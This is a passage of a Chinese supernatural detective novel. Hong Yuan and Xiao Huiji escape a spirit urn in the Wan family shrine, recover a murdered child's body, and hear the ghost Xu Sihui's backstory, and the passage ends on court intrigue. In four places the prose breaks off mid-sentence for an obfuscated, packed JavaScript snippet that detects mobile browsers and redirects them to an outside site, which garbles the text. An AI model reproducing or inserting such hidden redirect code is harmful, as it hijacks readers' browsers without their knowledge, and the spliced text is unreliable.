圆形烛台刻着三个同心圆，方形烛台中间是一层方坎，看起来如个"回"字。萧慧极有些诧异："这真是……" "三圆同心是为三天，这是祭天所用的圆丘，方形积聚，外围挖一圈水池，这是泽中方丘，祭地所用。"洪垣说着，把烛台摆回原位，"祭祀讲究所祭必像其类，就是说祭祀时所用之物必与祭祀的对象相像，所以圆丘烛台上烛火向上，可达上天，方丘烛台上蜡烛倒悬，埋于地下，地才能有所感应。" 这一对烛台代表天地，万奇珍却不自惭地将其放在自己牌位之前。 他竟用天地来祭自己。 洪垣觉得自己对万奇珍的了解还是太浅薄，这些不伦不类的东西他是如何想出来的。连萧慧极这四平八稳的人都嗤笑出声。 一言难尽之后对着空空如也四壁，眼下还是寻到出路更为紧要。 有了前车之鉴，洪垣自然想到把牌位转过来，三个牌位后均有雕花，组在一起像个八宝盒的盒盖。她支使萧慧极再烧香磕头，只觉眼前有些恍惚，五色花瓣重叠旋转变幻无穷，停转时一朵宝相花盛放。 奇花徐徐落下，落在八宝盒的盒盖上。 方才放着万籁秋牌位的地方，突兀立着十三个小人，屈膝扭身，单手高举，同刚刚阿浑的模样如出一辙。 其中十二个已成死物，只有一个小人尚会眨眼，开口叫道："请敬神！" 萧慧极也明白这意味着什么。阿浑的魂还活着，被困在这煎熬的壳中。 拿起阿浑细看，背上刻着一个"柳"字。洪垣听说这间慈幼院的孩子父母若没有留字，就以季节为姓，春日姓柳，夏日姓何，秋日姓丰，冬日姓梅。 萧慧极叫了她一声，她回过神，目光投向他的脸，又顺着他的视线下落。万奇珍的祖父，这牌位的位置也有一个小人。 不是十三个，是十四个。不是万奇珍突发奇想，而是子承父业。 那小人已成朽木，想来他的魂已离开这里许多年。洪垣拈起小人，看见他背上刻着"徐"，再想翻过去细看眉眼，却只得一手飞灰。 她有些犹疑，沉默被手里的阿浑打断。 他报时般又大叫："请敬神！" 萧慧极把余下的小人扫进袖里，让出路来，起手揽袖："洪麟使，请。" 洪垣颇为受用，叉着腰，说话落地有声。 "好！敬神！" 既然连天地也只配匍匐在万奇珍脚下，那自然至少以天地之礼待他。 洪垣一把扯掉萧慧极腰间玉璧，打开八宝盒扔了进去，萧慧极着急要去抢，手方抬起半寸，已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818309|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是迟了千里。 怔怔看着她又从自己腰间小囊中抓了一小把生米，颈上摘下一串陶珠，水囊里倒出一口白水，通通放进盒里。 她转过头，竟一脸莫名。 萧慧极耳朵红透，显然气极："你拿我玉璧做什么？" "敬神嘛。"她理所当然，挨个指着，"喏，玉璧、粮食、陶器、玄酒，就是没有牛犊子，实在凑不出什么。" 萧慧极干脆利落冷笑："没有牛犊，不是还有人吗？" 他本意只是冷嘲洪垣，不想这人眼睛经不住挪向阿浑，小人不能动作言语，但已被吓得双眼乱闪。洪垣呲牙，把阿浑直愣愣塞进怀中，横起眉："胡说什么！" 话毕从腰间抽出匕首，寒光闪烁，割下一缕头发放在盒内。 总之再多的东西也凑不出了，不如先看看管不管用。她盖上八宝盒，半天不见反应，生生等到火气八丈高，一把掀了盒盖，才见盒中一男一女搂搂抱抱，在被窝里调笑。 男的是万籁秋那老东西，女子面容平凡，只有一双狐狸眼和落在地上的一件蓝衣令人猛然醒悟。 是那具女尸，是阿苹。 她似乎也被迷了神智，否则怎会把一个老头当作美郎君对待，她娇滴滴情真意切，没半点粉饰妆欢。 洪垣不管人家郎情妾意你侬我侬，煞风景地伸手进去搅散这对露水鸳鸯，万籁秋和阿苹被裹一起晾在一旁，她提起拔步床，在床后数出十四个瓮来。 踏破铁鞋寻寻觅觅，可算是找着了，她大喜过望、神采飞扬，拖出抱着阿苹的万籁秋，八宝盒一盖塞进萧慧极手中。 萧慧极不知怎地了，面色阴沉，仿佛只要她胆敢再造次，就要电闪雷鸣狂风骤雨。于是她赶快造次："你怎么了？不高兴了，还是哪里不舒服。" 她提着万籁秋的后领，猛戳萧慧极手臂："有话就说，有屁就放。" 他反复忍了又忍，终于吐口："我那玉璧——" "我赔你一个，好吧？" 她不假思索，眼也不眨，萧慧极别过头去，语气淡淡："不必了，本也就是你给的。" 洪垣才想起这玉璧是她小时候路上捡的，顺手就送给萧慧极了，不想他挺喜欢的，日日不离身戴着。 想是戴出感情了，这人又念旧，这才舍不得，闹起脾气。 她撒开万籁秋，连忙给他顺气，拍拍背，捋捋胸口："赔，一定赔，你要是不喜欢买的，我到路上再给你捡一个，你要啥样的我都给你捡。我保证，我发誓，我发毒誓。" 话音刚落，她摸着萧慧极胸膛起起伏伏，这大喘气，像是快要气死。 生怕真把他送走，洪垣只好闭嘴打住，岔开话题："先不说了，这也不是说话的地方。咱先出去再说。" 萧慧极总算平静下来，从心急如火到眉徐目缓只用了半眨眼。 洪垣不敢再劳动萧慧极搭手，殷勤地把万籁秋提起来。 人有三魂，万籁秋的前两魂他们已经见识过了，如今算来该打开第三魂的门出去。第一进是腹，第二进是口，她伸手，穿过万籁秋的胸膛。 原来要穿心而过。 太好了，她松了口气，不是她担忧的那个出口。 17. 瓮（十三） 事情远不如洪垣想的那般顺利。 万籁秋的心房很小，只够容纳一人多，萧慧极也走进来后两人狼狈嵌着，连转身的缝隙也寻不出一丝。 想先退出去再行商议，门已消失，后路断绝。 洪垣紧贴墙壁，闻见陶土的气味，陶土墙并非直上直下，中间外凸，两头收紧。心中有不好的念头在盘桓，他们被装在瓮里了。 瓮不知在哪，地上还是地下？若是地下，岂不是活埋。 被这想法一惊，顿觉气息慌乱胸闷气短，急促的呼吸难以平缓，脑筋转动都困难起来。偏偏萧慧极绵长的鼻息春风一样拂过她后颈，扫开散落的细发。 在这鬼地方，可没半分情意绵绵的空闲。洪垣以为是鬼吹的，浑身一激灵，后脑勺撞在萧慧极的脸上。 萧慧极吃痛，天旋地转后唇上湿热热的，鼻梁已没了知觉。 "是不是撞着你了？"她头左右乱摆，就是没空隙容她身子稍侧，以便余光能够到身后人。 萧慧极不想鼻血沾进嘴里，缄口如同铁打，好不容易抬袖擦拭一下，鼻子上唇发麻后痛觉丝丝缕缕爬上，皮肤立时滚烫起来。 他张了张嘴，极快极短："没事。" 血又流下来了，滴滴答答，敲在洪垣后襟。 她瞧是瞧不见，以为把他撞坏了，拍拍头伸手向上用力推。瓮口封死，像是压了千斤，铆足了劲挪不动一毫，指头顺着缝抠了半圈，也扒不出一根线头来。 这样耗费体力，眨眼间头开始发昏，吸气愈发艰辛。 她不动了，静下来，试图控制一下呼吸。 瓮里很冷，但她浑身蒙着一层热汗，只有背是凉的，后心一溜都被浸湿，冷飕飕粘着肌肤，如针密密地缝。 萧慧极的血那样凉，依依不舍落下时仿佛催命的滴漏，口鼻喘出的气却不同，频频、沉沉，像风在耳边呼啸。 恍惚似梦，云中雾中。 瓮外传来忽近忽远的声音，不知谁人言语，轻轻袅袅有些好听。 "……指甲……" "……我最近发觉，看人在绳子上挣扎变得无趣了。还是父亲说的指甲声令我好奇。" "人在垂死时抓出的声音……缓慢……酸涩……令人齿冷，能让人心尖也起满寒粟……" 声音喟叹，又是饥饿，又是餍足。 "丝竹又如何能比这更动听，光是想想也令人发颤，光是想想也令人喜欢。" "若你心存仁慈，为何不满足我这小小的愿望？" "……指甲，听听你的指甲……" 砰地一声，洪垣口中塞着脏话捶了下瓮墙，声音远去，环绕在遥遥处，还在苦口婆心劝导。 "洪垣。" 萧慧极的手搭上她肩，倾下脸，血蹭在她的颈窝："我想听。" 汗毛倒立，根根分明。 她抽手一巴掌，毫不留情。 醒神的萧慧极默默很久，迟疑："我脸怎么……" 洪垣没空理他，这种手段太拙劣，她用眼睛喘气也能分辨萧慧极的真假。只是萧慧极不清不楚方才何事，分辨片刻，幽幽开口。 "你打我。" 洪垣重重点头，心分出一半，忙着把万奇珍这老贼骂得体无完肤，另一半遍遍地回想今夜所遇见的一切。 是门，要从门出去。 可是门在哪里。 他们现如今又在何处？万籁秋三魂相套，走进来时层层深入，祠堂中有鬼，鬼身中有心，心中藏瓮。究竟是在瓮中，在心中，还是仍在祠堂之中？ 心中如乱麻，理不清也剪不断，更是心烦意乱没个结果，于是搁置一旁。 又想一路如何来此，反摆、祭拜、进门，那是否也对应着反摆、祭拜、出门。 她目光倏地向下，瓮底空荡，两人的脚都抬起来避让，也无线索。想了又想，想到身后，要反摆的是自己。 瓮中空间逼仄狭小，她和萧慧极挪动都得费一番功夫，更莫说转身。萧慧极见她胡乱折腾一会儿，献上良策："不需转身，你我一起右绕，就能转过去。" 好好好，洪垣心里大呼，果真人如其名，且人以群分。 于是两人手臂扶着瓮壁，背贴着胸浑然天成如同一人，亦步亦趋蹭着转过去，背后瓮壁上果真有戏。 ——柏树上停着一只孔雀，孔雀展翅粼粼，将要远去。 想来祭拜过后，孔雀便会载他们飞出困窘，可此刻洪垣已两手空空，即使有货此地也施展不开。她心里有别的主意，一时又举棋不定，一时想殊死一搏，孔雀却不等她权衡再三，从枝上滑翔坠落，影子越变越小。 时不我待，洪垣抽出匕首，不出意外地一肘顶在萧慧极腰侧。 他捂着肋骨倒吸凉气，抬头时洪垣已操起匕首刺中孔雀的脊背。 匕首顺势划下，将孔雀背部剖开两半。 浓血蛇蜒而下，她双手已猩红可怖，同茹毛饮血的蛮人撕开猎物那般将孔雀一分为二，蓝绿的雀羽消融于血色侵蚀中，裂缝外有风吹来。 洪垣这回学乖了，探出头去，见又返回到祠堂才抬脚出去。 安然返还，她有些得意，转头要自夸几句，被萧慧极的模样吓一跳。他正用帕子擦下半张脸上干涸的血迹，那娇生惯养从不吃苦头、无论晴雨都有扇遮伞挡的脸可遭了大殃，整个面中都泛着红，一侧脸上手掌印清晰可见。 许是刚刚痛极了，眼泪自己冒出来，因此晕红了眼眶。 比起他日日一本正经的闲雅，如今这般憔悴可怜模样，教人怪不好意思直视。 罪魁祸首目光闪躲，不敢给他发难的机会，东拉西扯道："真是惊险，还好我俩通力协作，否则真难说小命不保，得埋一起了。" 萧慧极挑起眼睛，心中只想这人最好和自己埋在一起。 她不敢对视，打起哈哈："刚刚我那机变，是不是更胜你一筹？我猜你肯定不知道为什么要剖开孔雀的脊背，你要是请我吃饭，我就告诉你。" 萧慧极擦净面上最后一丝血，眼睫垂落，淡然瞧向它处："孔雀性凶残，好吸人食肉，曾将佛祖六丈金身吞入腹中，佛祖破开其背，方踏至灵山。" 她咂咂嘴，补不上哪怕一个句读。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823906|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没能卖弄上腹中存的三瓜两枣，洪垣很是不甘，低头偷偷看他，打了他确实不对，莽撞地下手太重。悄悄背手凑过去，大方拍着他肩："萧慧极，抱歉，我真不是故意的。" 那张惨淡的脸由臭变香，矫揉起嘴角，眼睛刻意避开，楞楞朝着一处。 "记得赔我玉璧。" 洪垣点头如捣蒜，连声应好，一口应下后又叫萧慧极把八宝盒拿出来看看。盒盖移开，里头竟是空的，她双手抱着盒子倒过来使劲往下抖，一粒灰也抖不出来。 白费劲跑一趟，也白打萧慧极了。 伸手进怀中掏出小人，好在阿浑还在，他眨眨眼，口齿含糊："烧香……烧香……" 这万奇珍，真是恼人，少了一毫厘都要计较。 她怨怼几句，还是给八宝盒前供上香火，这次再打开，方才所见一应俱全。阿苹在盒中转转悠悠、如痴如醉如泣如诉地寻她的万郎，洪垣扯了被褥把她盖上，将瓮捏成一撮撒于地，米粒大的小瓮数次变幻，化为能装人的大瓮。 恶臭冲天而出，狠狠打了洪垣脑袋一拳，她不知为何又泪眼婆娑，好似被老聻熏过以后就再闻不得臭味，嗅上一点便要惹出涕泪。 纵使泪怎么也擦不完，她还是跟着萧慧极循着臭气找到源头。 若其他尸骨都已被换出，那发臭的只能是阿浑，揭开封好的瓮，他们看见阿浑，阿浑也看见自己。他在瓮中半月有余，躯体已经腐坏，但衣服鞋袜尚在，不容抵赖。 洪垣和萧慧极并不精通验尸，还是得请仵作来验，故而又封上瓮口。 案子有了眉目，萧慧极却没有展颜，本应立即报与常府尹知晓，几步迈出去却是在门前停了脚步，徘徊不定。 洪垣瞧他踌躇，也是好奇："怎么了？找到阿浑，得先告诉常公才是。" "这尽是怪力乱神之事，如何向圣人回话，若是审理起来，恐怕首先站不住脚的是我们。" 这么大的案子，说什么在万籁秋的魂中找到尸首，说什么鬼的肚子能打开门，听上去如瓦舍说书，怎么令人信服。 这不单单是缉凶，也是朝堂争斗，再往下走，论的就不是杀人本身了。 如若从根上就是虚浮的，如飘萍，怎么和万奇珍斗，拿什么和万奇珍斗。 万家必然竭尽全力保他，他要是出事，万氏失的就是半壁江山。 洪垣倒是轻松，让阿浑坐在自己肩上："有什么不能说的？圣人圣明，自然知道什么是真话什么是假话，不论往后朝中用哪种说辞，对圣人，当然要讲实话。你编出故事了，还不如圣人自个儿编呢。" "再说万奇珍杀人，手段并不高明，只不过他现在是大人物，没人敢触他的霉头，譬如厨娘田彩女、保姆谷婆子，亲眼见他杀人，都是人证。" "杀人偿命，这是天理，万家再能呼风唤雨也更改不了。等万奇珍下了狱，虽说墙倒众人推有些难听，但保准还有人证冒出来。" "满府仆役难道不够你审的？你就是想太多了。"她抱起手，已经有些雪恨的快意了。 萧慧极被她说服，转身往门外走去。 18. 十四 河水淌得很轻很缓，连月亮也打不碎，它只是浮在河中央，荡漾着一层层溶溶的波纹。 渌水河清澈如美玉带，月晖能照进河底，已不见当年伏尸百万、流血漂橹。 五十年间，时移世异，将血洗净。 剔过灯花，烛光扭动挣扎又融成斜圆，徐思晦在圆里读书。河神府上藏书颇多，经年无人问津，灰尘累月重叠，他一本本擦净一本本看过，不知够看几百年。 头一次跨过渌水河时他还年幼，跟着父母，凄凄惶惶。 那时还没有大周，刘都督也没做皇帝，天下乱了几十年，他自出生起就在战乱中流离。好在他还有父母，家园虽然毁尽了，但留得些金银傍身。 父母领他在一个山村安身不过三月，又听闻地王南下抓人，抓起包袱一路西逃，在路上听人家说刘都督攻下麟城，正发榜招抚流民。 刘都督好啊，总比地王好。 地王马匪出身，说什么天上的是天王，他在地上，便是地王。人人都说他好吃美人，漂亮的男童女童也不忌口，他手下的人个个奇丑无比，也有自毁容貌以求生路的。 刘都督总比这么一个货色强，一家人转道向北，往麟城走，可路上出逃的人又说刘都督治下税重得很，活不起了！简直是吃人！ 徐思晦听父母商议到半夜，清晨千里寂静，茫茫一片，不知是未散的雾还是又起硝烟。死亡将他遗落了，宁静无言的路途上是漫长的孤独。 父母仍旧带着他北行，走进雾里，被吃十年总胜过被吃一顿，一家团圆活着比什么都重要。 餐风宿露一个多月，一家人抵达渌水河畔。 渌水河虽已被打捞清理过，但河面上仍漂着密密麻麻无主的浮物，河水慢得如同凝固，似是无处可依的魂魄淹留在此，把河水阻断。 父亲雇来小船，船头破开河面，故去的一切如垃圾，行过侧畔，被永远留在身后。 母亲将他紧紧护在羽翼下，把衣袖当作帐子，他透过风吹起的一角，看见城外的深坑和码放的人墙。土地将生死分离，也将悲欢隔开。 麟城的日子虽艰苦但难得平静，父亲不愿坐吃山空，做起掮客生意，母亲织布浣衣，一个一个地攒钱。 他们仍希望有朝一日能够重归故里，买回祖产，在焦土上盖起新宅子。这样就能回到从前的日子，那是徐思晦没有经历过的日子。 父亲在麟城中遇到了故人，据说是曾经在家中赶车的车夫。 车夫在万姓人家讨生活，不赶车了，只养马。万家的主人是新任的麟城尹，追随刘都督十余年，很受器重。 父亲是精明的商人，万般想和万家攀上关系，树荫底下好乘凉，那样活起来会轻易些。可他到底扯不下脸面，去向曾经的仆人开口。 不过后来，他真找出个冠冕堂皇的理由——送徐思晦去上学。 万氏族塾在麟城颇为人称道，想去念书合情合理。银子使上，万事可成，先生也喜欢他端方聪慧，徐思晦顺顺当当在族学落了户。 虽然生活颠簸不平，但他蒙学极早，父亲学问不错，常在逃难的路上讲学给他解闷，他过耳不忘，像是神仙下凡专门来读书的。 他神童的名声很快也叫麟城尹万公知道了。 城池大战初过，百废待兴，父母官点灯熬油办完公务，只为专门留出空余到学堂窗后偷看他念书。 乍见之，便喜爱不已。 从前觉得自己两个儿子虽然平庸，然也算不得蠢笨，此番与人一比相形见绌，成了下下品。 万公惜才如命，亲自来考功课，待他等同亲生儿子，督促他勤学苦练早日成材，到时候为都督效力，治境安民平定天下。 这话传出府去，成了美谈。 可惜有的是人不爱听此等话，觉得刺耳，觉得烦心。 万公膝下一长一幼两个儿子。大郎年纪稍长，沉稳许多，不会同一个孩子拈酸吃醋，二郎却年轻气盛，很是不屑，徐思晦知道他在背后用什么眼神打量自己。 龙生九子尚且子子不同，万公这般人物也会生出败穗。 徐思晦避其锋芒，也不愿万公夹在其中为难。 春去秋来，他仍在万公面前得脸，他站在万公的树荫下，父母又站在他的树荫下。日子好起来了。 又越过年去，刘都督厉兵秣马，送地王到地下称王去了。传言纵横半生的汉子仰天大笑，纵火自/焚而死。 他从未去过的故乡，在是年岁末被都督握于掌中。 那真是个喜庆的年，家乡的美酒运抵麟城，父母分得一杯共饮，醉后相拥而泣。 颠沛流离十数载，终于能够回家了。 河冻裂开，春燕来时，父母收拾行囊先踏上归乡的路。万公亲自登门，请他留下，与其虚耗时光，更应先苦读博得功名才是。 这一去路途遥远，不知那地方有没有好学堂。况且战事连绵三十年，书如废纸，尽成残灰，麟城还能凑出些许，可许多地方被反复踏灭，难寻一字半句。 说了许多，就是舍不得他离去。 父母见此，也感恩万公这些年的庇护，将他留在万公身边，嘱咐他早早学成，快马加鞭荣归故里。他们牵了头驴从后门走了，徐思晦在门畔，看他们沿着渌水河行走，百步后转过拐角，双双消失不见。 可他没能回去，他们也再无音讯。 若活着，为何不捎信来？若是死了，为何不到梦中见他。 故乡那城，后来又被屠戮三遍，万公收他做了义子，他开始被唤作三郎。 徐三郎累了时，就到后门转转，远看那个拐角，好似他年幼时在麟城外所见的深坑。有个丫头，每次见他来，脚步风风火火掠过，给他塞一张饼。 有一天他终于开口叫这阵旋风停下，问她的名字。 她说她叫春音。 谷春音生在万家长在万家，名字是万公取的，她比徐思晦大两岁，个头也比他高。她手脚麻利、性子直爽，有时口无遮拦，但徐思晦告诉她那叫率然天真。 她乐不可支。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832456|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春音是个很好的姑娘，她像刚发的野草，朴实、常见，仰头对着老天。 徐思晦对于命运的捉弄开始释怀，从父母牵驴走那日起，一笔一画写下许多"正"字，他将草纸付之一炬，随风扬去。 又在万府住了两年。一场寒冬后万公病倒，缠绵病榻数日，撒手人寰。 万公方死，万籁秋便急不可耐扒下嘴脸，将他锁在柴房里不许披麻戴孝。大郎听闻，视而不见，从前自欺欺人只当没有此人，如今依然。 因为丧事，春音忙得脚不占地，回过神发觉徐思晦不见时，早已寻不到他的踪迹。 那时刻他已被装进瓮中，痛苦挣扎，气息断绝。 万籁秋终于心胸舒畅，心里念着父亲既然喜欢，一并带走更好。 春音听说他走了，回家寻他父母去了，有说他没良心的，万公一片赤诚待他，他连一声哭也不曾落下。 她心中愤懑，想他走前也不与自己告别，真是负心多是读书人。 一个月了，她还是放不下怨气，骂的更狠。 晚上却梦见思晦，开口向她讨食。 她吓醒，犹豫许久，偷摸跑到门外给他烧纸，第二夜安然无梦，她醒来哭得险些断气。徐思晦死了，他死了。 徐思晦听见她的哭声，哭着哭着，他已臭不可闻，万籁秋带人把瓮混在粪桶中运出城去，随手扔在埋儿坡。 在麟城外徘徊了不知几年，他想起父母，下定决心去寻他们。 穿过渌水河，水流轻柔，河底长满了水草青苔。 仗打完了。四海归心，都督位登大宝做了皇帝，垦荒、建楼、免除赋税、颁布新政，野火烧尽的原野来年又是绿草如茵。 他走过许多地方，新生长的一切将旧痛覆盖，他再难找到父母的踪迹。 索性向家乡飘去，他没去过那里，一切都是新的。在城门口，他遇见了那头驴，父母牵走它时它还没那么老。 他对着驴说话，连比带划。 驴嗯哼嗯哼，想了一天一夜，嗯哼嗯哼叫着，告诉他，自己已经忘了。 不想哭，可眼泪无法止住。 人留在这世间的痕迹究竟是什么，不必百年就被扫进撮箕，时间连铁石都能够捏为齑粉，更遑论发肤骨肉。 他又回到麟城，回到他的埋骨之地，不再离开。 心变得同水波不兴的渌水河一样，对于时间的流逝，徐思晦并不清楚，他在埋儿坡见过几次春音，时间刻在她的脸上，明明白白。 屋外吵吵闹闹，丘无玷他们回来了，灯姑也在其中，夸耀自己刚刚真是无敌威风。 她解了葫芦，倒出谷婆子，不是很想为难老妇。 乌飞兔走，多少岁月。 谷春音变成了谷婆子，他却还是徐思晦。 他插了书签，起身站在门边，像看父母转身的拐角。 时也命也，利如快刀，管你英雄好汉还是村野匹夫，管你豪气干云还是柔肠百转，生死悲欢被刹那割断后，再不得活路，再不得重来。 19. 送归（一） 把万籁秋的牌位夹带带出，送到城隍庙去，顺带把迷了魂的阿苹留下，洪垣的头等大事算是了结。 厨娘田彩女、保姆谷婆子一并交到萧慧极手中，审理案情轮不上她，又重得了整日的清闲。 若说不忙，也不当真。 她还欠人一块玉璧，便宜的看不上眼，贵的又实在心疼银子，好不容易挣那点钱还不够填窟窿的。 身子是躺下了，心还在东奔西走。这种时候，就想去烦萧慧极，但他不是闲人，一连好几天住在公廨。 案子圣人过问了一次，叫麟城府慢慢查，本以为会来个三司推事，从重从快地办了万奇珍，然则圣人将他视为灰尘，随手掸去一边。 天子一怒自然叫人害怕，可该怒时不怒，也挺吓人。 揣摩不到圣人心思，胡思乱想从心底生出，如同阴魂挥之不去。 万文珍尚且能沉住气，若是平凡心性也坐不得宰辅之位。可他是他，别人是别人，族中早已流言四起、人心浮动，只怕万奇珍牵连到自己头上。 明知圣人本就不是冲着他一个人来的，也对天祈求把自己从手缝中漏掉最好。 大家族的事就是如此，就算桌面热闹时不去分一杯羹，挨打时也逃不过被一棍子扫倒。 有人在谋退路，有人想更进一步。 大义灭亲未尝不可，踩住万奇珍登梯向上，机不可失，时不再来。 麟城府门前一时多了好些聒噪的雀鸟。 万文珍的病不得不好，顶梁柱不立起来，屋檐下的人是不会安心的。圣人经多年历练，手腕老辣起来，要是他态度强硬喊打喊杀，没有退路之下人心自会凝聚，结成盾与茅相抗。他不露锋芒，只用手拨出涟漪，人多心思亦多，心气散了便再难聚起。 万文珍病愈时为时未晚。 忧心忡忡、左右难断的人见他身体大好，有如见他死而复生，一下子有了可依附的稻草，忙不迭纷纷扬扬登门。 他们托了不少门路，将案情打探个七七八八。 反正一句话，万奇珍是救不得，别让他拖累族人就算烧高香了。 先不说田彩女、谷婆子这俩铁打的人证。谷婆子是万奇珍的保姆，抚养他长大，可说是这府上最知道他的人，说的话当然可信。 田彩女透过竹林目睹杀人，时间又在傍晚时分，所见之人是否真的是万奇珍本来很难定论，可常拓英想出个新鲜法子——寻来三十个与万奇珍高矮胖瘦相当之人，混淆以后点灯拉帘，让田彩女远观辨认。 田彩女不费吹灰之力便认出万奇珍，刑部、大理寺、御史台各出一人在场见证。 她的证词确凿无疑。 又有慈幼院院公，被捕当夜就已经招供，万奇珍许他厚利，每年慈幼院供一孩童。于祠堂中发现的尸首，经过慈幼院诸人辨认，是今年三月初一被人领走的柳阿浑。 车夫供诉万奇珍曾拿走过一件自己的衣裳，多人曾见他自己赶车出府深夜方回，所穿衣物、所驾马车都已找到。 还有那只在阿苹身上发现的茄袋，追根溯源是层层转送，最终到了万奇珍小妾手中，妾为讨好他，缝成茄袋相赠。 可以说已是铁板钉钉，就算万奇珍至今一言不发，也足以定他的罪。 昨日又把一个老仆捉去，竟翻出万籁秋的陈年旧事，说万籁秋年轻时将万公义子，一个姓徐名思晦的少年郎活活闷死在大瓮里。 吓人的是那少年郎不是被一次闷死的，瓮启瓮合，丧心病狂数个日夜。 掐指一算，那是五十多年前的事。老仆记忆犹新，哪里敢忘，才进麟城府就伏地认罪。 不能说骇人听闻，只能说太过骇人听闻。 老子儿子一个样，父子俩是把万氏的名声彻底毁了，事情传扬开来，日后出门还有何颜面，与同僚如何相处。 说到激动处，撞墙的要撞墙，自刎的要自刎，真想问问那爷俩究竟意欲何为。 难不成是债鬼托生，来索全家命的？ 万文珍听得头疼，圣人这是给他两头堵上了。 如为了万奇珍争辩，视国家法度为何物，名节还要不要了？如就此罢休，多年经营毁于一旦，万奇珍一去自己势必唇亡齿寒。如更进一步同万奇珍割席裂帛，唯他马首是瞻之人难免心寒。 进亦输，退亦输，可恨这不争气的父子造孽，竟报应到自己头上。 心绪返还，听他们还在吵嚷。 这些蠢货也不想想，麟城府的消息是那么好打听的？他常拓英的嘴真就是棉裤腰么？ 是圣人，圣人想教万家人知道，也想教他知道，这回他必须壮士解腕、断臂求生。 万文珍转身自嘲地笑，真的朝朝复暮暮，一浪打一浪，他在台上的时间是太久了。 案子已审到尾声，萧慧极有了喘气回家的时间，洪垣鼻子灵敏，闻着味儿就来。 她打包了点吃的，想着把他嘴堵上，他不好问玉璧的事，自己也能再饶些时间挑挑。 一进门就觉得他不对劲。 眼睛觑她一下，像拿棉线给她刮了层皮。 不应该的，萧慧极又不是斤斤计较的人，是玉璧，还是一头槌、一巴掌、一肘子。他明明已经不生气了—— 她猛地面色狰狞，坏了，定偷卖麒麟园饲谷的事让他发现了。就慈幼院庞婆子那嘴，应该早早威胁她闭嘴的。 进退两难，势成骑虎。 萧慧极听不见她脚步声，就知道她心里明镜似的，不冷不热不咸不淡问道："怎么？不去做你那五钱银子的生意？" 她挤眉弄眼，给一旁的陆班头使眼色，让他好歹救一救自己。 "不必请别人为你说话，我已经具折上奏，将始末所有禀与圣人。" 萧慧极双手叠在腿上，抬脸挂着微笑。 洪垣倒吸一口冷气，撒丫子冲到他面前，气得手指哆嗦："萧慧极！有你这样的吗？五钱银子你还翻我的账？再说了，你哪次少吃一口了，我可是贿赂你了，你怎么过河拆桥呢？" 他摘下荷包，放在桌上。 她冷哼："晚了！" 转念一想，怎么能怕了他呢？一屁股坐下，捏起下巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不仅能偷，更会骗，蜂麻燕雀无一不通，不管单枪匹马还是搭伙协作，都是游刃有余。 这些年流窜于万衢周边，不知骗得多少人家破人亡。其中自然有自作自受的，可那些好意心善的，她亦不放过。 去年她纠集一群夜燕、草窃和市偷，伙同行骗团伙在万衢又犯下大案。 年深日久，阿苹已成一害，百姓请命书递上，官府痛定思痛，誓要剿灭这帮恶人。围追堵截之下，阿苹无处藏身，只好边偷边骗，一路来到麟城。 万衢官府也没想到她跑得如此远，只在附近地带通缉，将她错失了。 洪垣感概，可惜小大他们遇人不淑，竟把要命的事交到一个骗子手上。 可也是这个阿苹，死在万奇珍手上，才有后来种种。 正想着，宫中内官来到，唤萧慧极面圣。 洪垣没逃了，圣人也要见她。 20. 送归（二） 正值下午，临近入夏日头柔情里藏着毒辣。 圣人在神龙殿偏殿理事，这处是前朝旧宫，圣人偏爱此地花繁叶茂，登基后选为寝宫。 没烤太久太阳，洪垣额头已经出汗，在心里斟酌好字句，将等会儿磕头认罪排演一遍。定下计策后终于有空瞪萧慧极几眼，他神情泰然，不怕她用眼睛把自己剜死。 见了圣人，三叩九拜。 洪垣偷瞄，圣人侧坐着，手里折子一上一下敲在腿上，这是心情愉悦才会有的松弛模样。她悄悄喘上口气，看来今天不会太难过关。 圣人开口，叫他们起来，将折子随意一抛："万文珍自言有失察之罪，乞骸骨告老还乡，朕已下旨，不许他辞官。" 老家伙同他玩以退为进，若是准其致仕，岂不是成了堂堂天子薄情寡恩，甚至授意刑官捏造案情构陷于人。 往后有心之人再随意猜度编撰，还不把万奇珍一事说成冤案。 史书之上，殷鉴不远。 萧慧极还没开口，洪垣已经争先："圣人，那万奇珍……" 